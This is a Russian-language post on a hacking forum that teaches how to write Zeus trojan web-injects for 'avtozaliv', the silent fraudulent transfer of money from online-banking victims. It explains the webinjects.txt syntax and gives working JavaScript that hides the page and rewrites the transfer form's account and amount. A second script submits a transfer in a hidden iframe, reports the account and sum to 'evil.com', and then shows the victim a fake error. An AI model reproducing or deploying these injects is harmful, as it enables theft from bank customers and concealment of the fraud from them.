Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare
Показано с 1 по 1 из 1
  1. #1
    Trust
    TopicStarter
    Админ негодует :3
    Аватар для admin

    Статус
    Online
    Регистрация
    27.07.2013
    Сообщений
    1,449
    Репутация
    159 + / -
    Безопасность

    Пишем автозалив

    Сначала немного теории

    Для удобства написания, веб-инжекты записываются в отдельный файл, указанный в файле конфигурации как DynamicConfig.file_webinjects. Естественно после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.

    Файл представляет из себя список URL для которых можно указать неограниченное количество веб-инжектов, изменяемая URL указывается строкой по правилам файла конфигурации:

    set_url [url] [флаги] [блэкмаска POST] [вайтмаска POST] [URL блокировки] [маска контекста]
    при этом два последних параметра являются не обязательными.

    URL - URL на которую должен срабатывать веб-инжект, можно использовать маску.
    флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:
    P - запускать веб-инжект при POST запросе на URL.
    G - запускать веб-инжект при GET запросе на URL.
    L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.
    F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.
    H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.
    D - запускать веб-инжект раз в 24 часа.
    блэкмаска POST - представляет из себя маску POST-данных передаваемых URL, при которых не будет запускаться веб-инжект.
    вайтмаска POST - представляет из себя маску POST-данных передаваемых URL, при которых будет запускаться веб-инжект.
    URL блокировки - в случаи если ваш веб-инжект должен грузиться лишь один раз на компьютере жертвы, то здесь следует указать маску URL, в случае открытия которой данный Веб-инжект не будет более использоваться на компьютере. Если вам этого не нужно, оставтье поле пустым.
    маска контекста - маска части содержимого страницы, при котором должен сработать веб-инжект.

    После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url.

    Один веб-инжект состоит из трех элементов:
    Без флага L:
    data_before - маска данных после которых нужно записать новые данные.
    data_after - маска данных перед которыми следует записать новые данные.
    data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.
    С флагом L:
    data_before - маска данных после которых начинается кусок получаемых данных.
    data_after - маска данных перед которыми кончается кусок получаемых данных.
    data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.

    Название элемента должно начинаться с первого байта новой строки и сразу после окончания названия должен быть перенос на следующею строку. Со следующей строки идут данные веб-инжекта, окончание данных обозначается строкой data_end, также это строка должна начинаться с первого байта очередной строки.
    Внутри элемента вы можете свободно использовать любые символы.

    Примечания:
    Как известно, новая строка может обозначаться одним (0x0A) или двумя (0x0D и 0x0A) байтами.
    Т.к. в основном веб-инжект используется для подмены содержимого текстовых данных, то данная особенность учтена, и бот успешно запускает веб-инжект даже если у вас новые строки обозначены двумя байтами, а в содержимом URL одним байтом и наоборот.
    Элементы веб-инжекта могут быть расположены в любом порядке, т.е. data_before, data_after, data_inject, или data_before, data_inject, data_after и т.д.
    Элемент может быть пустым.
    При использовании флага L, в получаемых данных каждый тег заменяютя на один пробел.

    Пример файла:

    Подмена заголовка любого сайта по протоколу http на фразу "HTTP: Web-Inject"
    Код:
    set_url http://* GP data_before <title> data_end data_inject HTTP: Web-Inject data_end data_after </title> data_end 
    Подмена заголовка любого сайта по протоколу http на фразу "HTTPS: Web-Inject" и добваление текста "BODY: Web-Inject" сразу после тега <body>
    Код:
    set_url https://* GP data_before <title> data_end data_inject HTTPS: Web-Inject data_end data_after </title> data_end data_before <body> data_end data_inject <hr>BODY: Web-Inject<hr> data_end data_after data_end
    Получем заголовок страницы
    Код:
    set_url http://*yahoo.com* LGP data_before <title> data_end data_inject Yahoo Title: Web-Inject data_end data_after </title> data_end
    Назначение и описание алгоритма

    Автозалив (далее АЗ) - процесс автоматического трансфера либо модификации "на лету" какой-либо информации (в основном - платёжной) с компьютера клиента на сервер некой компании (обычно - банка или платёжной системы) без уведомления об этом пользователя. Троян Zeus предоставляет соответствующие возможности для систем онлайн-банкинга и платёжных систем, работающих по web-протоколам.
    АЗ может быть пассивный - он лишь модифицирует данные во время перевода, осуществляемого пользователем, и активный, который способен самостоятельно выполнить все операции (загрузка платёжной формы, заполнение полей и отправка данных) без участия пользователя (ему достаточно лишь войти в свой "личный кабинет").

    Методы внедрения

    Троян Zeus предоставляет возможность писать инжекты - куски кода для внедрения в HTML-страницы.
    Допустим у нас есть html-файл:



    Код:
    <html> <body> blaaaa </body> </html>
    Вставляем в webinjects.txt следующий код:


    Код:
    set_url ********путь-к-нашему html-файлу GP DATA_BEFORE <body DATA_END DATA_AFTER > DATA_END DATA_INJECT > blaaa2<br DATA_END
    GP в блоке set_url - Get/Post - методы запроса, при которых нужно модифицировать страницу.
    Собираем конфиг... ну как обычно...

    Получаем на выходе (после обработки Zeus'ом) следующий html-файл:
    Код:
    <html> <body> blaaa2<br> blaaaa </body> </html>
    Представим, что нам нужно полностью изменить html-код внутри <body>.
    Для этого есть комментарии (<!-- html-код тут не будет отображаться -->)

    Берем предыдущий пример:
    Код:
    DATA_INJECT > <!-- *************** DATA_END DATA_BEFORE </body DATA_END DATA_AFTER > DATA_END DATA_INJECT > --> [тут пишем нужный нам html-код на замену] </body DATA_END
    Принцип и основные моменты написания АЗ
    Типичный АЗ состоит из двух частей:
    JavaScript'а, внедренного в страницу инжектом, которое выполняет необходимые действия.
    Некоего (PHP/*) скрипта на сервере, который выдаёт необходимую информацию для перевода (реквизиты т.н. "дропов") и пишет статистику.
    Втч, возможен вариант динамической генерации самого javascript'а.

    С пассивными АЗ всё просто. Рассмотрим пример:
    Имеется некий файл transfer.php, внутри которого содержится следующая форма:


    Код:
    <form action="transfer2.php" method="POST" name="TransferForm"> Account number: <input type="text" name="toacc"><br> Summ: <input type="text" name="summ"><br> <input type="submit" name="submit" value="Transfer"> </form>
    Пишем АЗ
    Код:
    set_url ************/transfer.php GP DATA_BEFORE TransferForm" DATA_END DATA_AFTER > DATA_END DATA_INJECT onSubmit="MyFormSubmit()"> <script language="JavaScript"> //<!-- function MyFormSubmit() { document.body.style.visibility='hidden'; // Прячем тело - чтоб не спалили нашу подмену. document.TransferForm.toacc.value='12345678'; // Меняем поле toacc на наш аккаунт document.TransferForm.summ.value='99999'; // Меняем сумму return true; // После этого на сервер отправятся измененные данные } //--> </script DATA_END
    Конечно, данный пример очень примитивен, но рабочий пассивный АЗ отличается от привидённого примера количеством полей в формах.


    Теперь рассмотрим пример активного АЗ:
    Вариантов внедрения два - iframe и ajax.
    В одном случае внедряем iframe на страницу, которая открывается после логина, открываем в нём transfer.php, заполняем форму и "жмём" кнопку submit;

    Пример кода (JavaScript):
    Код:
    function MyTransfer() { frm = document.createElement("iframe"); // создаём ифрейм frm.src = "**************/transfer.php"; // открываем в нём transfer.php frm.window.document.TransferForm.toacc.value='1234 5678'; // заполняем frm.window.document.TransferForm.summ.value='9999' ; // форму frm.window.document.TransferForm.submit(); // отправляем setTimeout("MyCheck(frm,'12345678','9999')", 3000); // через 3 секунды проверка } function MyCheck(frm, acc, summ) { // функция проверки if(/Transfer.complete/.test(frm.window.document.body.innerHTML)) { // если 'transfer complete' img = document.createElement("img"); // создаём "картинку" img.src="********evil.com/stat.php?acc="+acc+"&summ="+summ; // Придаём картинке адрес скрипта сбора статистики - браузер автоматом попытается загрузить "картинку" и отправит данные.... } setTimeout("document.body.innerHTML='Sorry,error'" , 1000); // Через секунду выдаём сообщение об ошибке. } setTimeout("MyTransfer()", 1000); // Через секунду после загрузки скрипта выполняем функцию трансфера
    AJAX - тоже самое, только используем XMLHTTP.

    Алгоритм:
    Создать XMLHTTP-объект
    Отправить запрос на transfer.php
    Получить html-код в ответ, распарсить его и создать запрос, имитирующий заполнение формы.
    Отправить запрос на transfer2.php и передать сгенерированный запрос.
    Получить в ответ html-код.
    Проверить наличие "Transfer complete", если да - отправить запрос скрипту статистики с информацией об успешном переводе.
    Выдать сообщение об ошибке.

    Код приводить не буду - кому нужно, тот разберётся.

    Скажу лишь пару моментов:
    1. AJAX'ом отсылать запросы можно только на тот сайт, в контексте которого работает скрипт. Т.е. с 123.com сделать запрос на 222.ru не выйдет.
    2. Не забывайте имитировать загрузку - document.style.cursor='wait'; в помощь )

    Защита

    Метод защиты один - динамическая обфускация html-кода, дабы нельзя было "прицепить" инжект. Различные обфускаторы валяются в интернете.
    Других способов защититься от АЗ не существует.
    darkcarder.cc
    [Только зарегистрированные могут видеть это. ]
    JID: [Только зарегистрированные могут видеть это. ] - пока не сижу там, только ЛС.

  2. Пользователь сказал cпасибо:

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.